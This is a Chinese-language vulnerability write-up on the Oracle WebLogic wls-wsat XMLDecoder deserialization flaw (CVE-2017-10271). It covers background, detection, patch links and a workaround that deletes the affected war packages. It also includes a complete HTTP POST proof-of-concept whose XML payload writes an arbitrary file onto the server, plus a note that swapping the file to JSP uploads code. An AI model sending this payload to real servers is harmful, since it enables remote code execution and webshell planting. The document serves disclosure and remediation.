由来


Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器组件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。
2017年10月18日,Oracle官方发布了包括WebLogicServer WLS 组件远程命令执行漏洞的关于Weblogic Server的多个漏洞补丁,却未公开漏洞细节,近日,根据安恒信息安全团队提供的信息,漏洞引发的原因是Weblogic“wls-wsat”组件在反序列化操作时使用了Oracle官方的JDK组件中“XMLDecoder”类进行XML反序列化操作引发了代码执行,远程攻击者利用该漏洞通过发送精心构造好的HTTP XML数据包请求,直接在目标服务器执行Java代码或操作系统命令。近期可能会有其他使用了“XMLDecoder”类进行反序列化操作的程序爆发类似漏洞,需要及时关注,同时在安全开发方面应避免使用“XMLDecoder”类进行XML反序列化操作。CNVD对上述风险的综合评级为“高危”

分析


检测

如果weblogic能够访问

http://xx.xx.xx.xx/wls-wsat/CoordinatorPortType11

这样的链接,如图

如果没有进行漏洞修复,就很有可能包含漏洞。

证明

1
2
3
4
5
6
7
8
9
10
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 510

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/a11111.txt</string><void method="println"><string>onlytest</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

发送此包,如果为以下结果

并且访问链接

http://xx.xx.xx.xx/wls-wsat/a11111.txt

可以进行访问,则证明漏洞存在。

利用

直接将txt改成jsp上传。

修复

  • 厂商已经发布了修复补丁,强烈建议及时更新:
    http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
  • 临时解决方案:
    根据实际环境路径,删除WebLogic程序下列war包及目录。
    1
    2
    3
    rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
    rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
    rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

重启WebLogic服务或系统后,确认以下链接访问是否为404:
http://ip:port/wls-wsat/CoordinatorPortType11

参考


  1. 关于WebLogic Server WLS 组件存在远程命令执行漏洞的安全公告
  2. Weblogic漏洞【CVE-2017-10271】复现 附POC
  3. POC